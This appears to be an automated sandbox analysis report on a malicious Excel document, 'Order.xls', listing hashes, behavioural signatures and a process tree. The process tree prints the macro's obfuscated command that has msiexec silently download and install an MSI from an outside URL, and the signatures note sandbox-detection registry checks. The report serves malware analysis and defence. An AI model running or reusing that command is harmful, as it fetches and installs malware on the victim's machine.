Analysis
- max time kernel
141s - max time network
137s - platform
windows10_x64 - resource
win10v20201028 - submitted
09/11/2020, 20:39
Static task
static1
Behavioral task
behavioral1
Sample
Order.xls
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Order.xls
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
- Target Order.xls
- Size 34KB
- Sample201109-bt4c3cx1ee
- SHA256 6b307cbe4f1e8d769af95142d574e77a50654e25cce234f48da6c5e7a7aa4b99
- MD5 905aaa4a8eafed864b2591e366a9c2ee
- SHA1 ffa0c30dc35a788cd296830c23f81281174a292d
- SHA512 f2290b88b82a49117c56549117bdf52a7ce7fdc3a323b33003d2dfb29b983e646207cf991916413091358bb63e05f6f8c5fdfbc6a85544d29bdfab580a7edc6e
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 576 948 cmd.exe 68 - Use of msiexec (install) with remote resource 1 IoCs
pid Process 3800 msiexec.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 948 EXCEL.EXE - Suspicious use of AdjustPrivilegeToken 32 IoCs
description pid Process Token: SeShutdownPrivilege 3800 msiexec.exe Token: SeIncreaseQuotaPrivilege 3800 msiexec.exe Token: SeSecurityPrivilege 3868 msiexec.exe Token: SeCreateTokenPrivilege 3800 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3800 msiexec.exe Token: SeLockMemoryPrivilege 3800 msiexec.exe Token: SeIncreaseQuotaPrivilege 3800 msiexec.exe Token: SeMachineAccountPrivilege 3800 msiexec.exe Token: SeTcbPrivilege 3800 msiexec.exe Token: SeSecurityPrivilege 3800 msiexec.exe Token: SeTakeOwnershipPrivilege 3800 msiexec.exe Token: SeLoadDriverPrivilege 3800 msiexec.exe Token: SeSystemProfilePrivilege 3800 msiexec.exe Token: SeSystemtimePrivilege 3800 msiexec.exe Token: SeProfSingleProcessPrivilege 3800 msiexec.exe Token: SeIncBasePriorityPrivilege 3800 msiexec.exe Token: SeCreatePagefilePrivilege 3800 msiexec.exe Token: SeCreatePermanentPrivilege 3800 msiexec.exe Token: SeBackupPrivilege 3800 msiexec.exe Token: SeRestorePrivilege 3800 msiexec.exe Token: SeShutdownPrivilege 3800 msiexec.exe Token: SeDebugPrivilege 3800 msiexec.exe Token: SeAuditPrivilege 3800 msiexec.exe Token: SeSystemEnvironmentPrivilege 3800 msiexec.exe Token: SeChangeNotifyPrivilege 3800 msiexec.exe Token: SeRemoteShutdownPrivilege 3800 msiexec.exe Token: SeUndockPrivilege 3800 msiexec.exe Token: SeSyncAgentPrivilege 3800 msiexec.exe Token: SeEnableDelegationPrivilege 3800 msiexec.exe Token: SeManageVolumePrivilege 3800 msiexec.exe Token: SeImpersonatePrivilege 3800 msiexec.exe Token: SeCreateGlobalPrivilege 3800 msiexec.exe - Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 948 EXCEL.EXE 948 EXCEL.EXE 948 EXCEL.EXE 948 EXCEL.EXE 948 EXCEL.EXE 948 EXCEL.EXE 948 EXCEL.EXE 948 EXCEL.EXE - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 948 wrote to memory of 576 948 EXCEL.EXE 78 PID 948 wrote to memory of 576 948 EXCEL.EXE 78 PID 576 wrote to memory of 3800 576 cmd.exe 80 PID 576 wrote to memory of 3800 576 cmd.exe 80
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Order.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:948 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ms^iE^x^ec /i http://unifedslashclub.com/jss/binn.msi /qn2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:576 -
C:\Windows\system32\msiexec.exemsiExec /i http://unifedslashclub.com/jss/binn.msi /qn3⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
PID:3800
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3868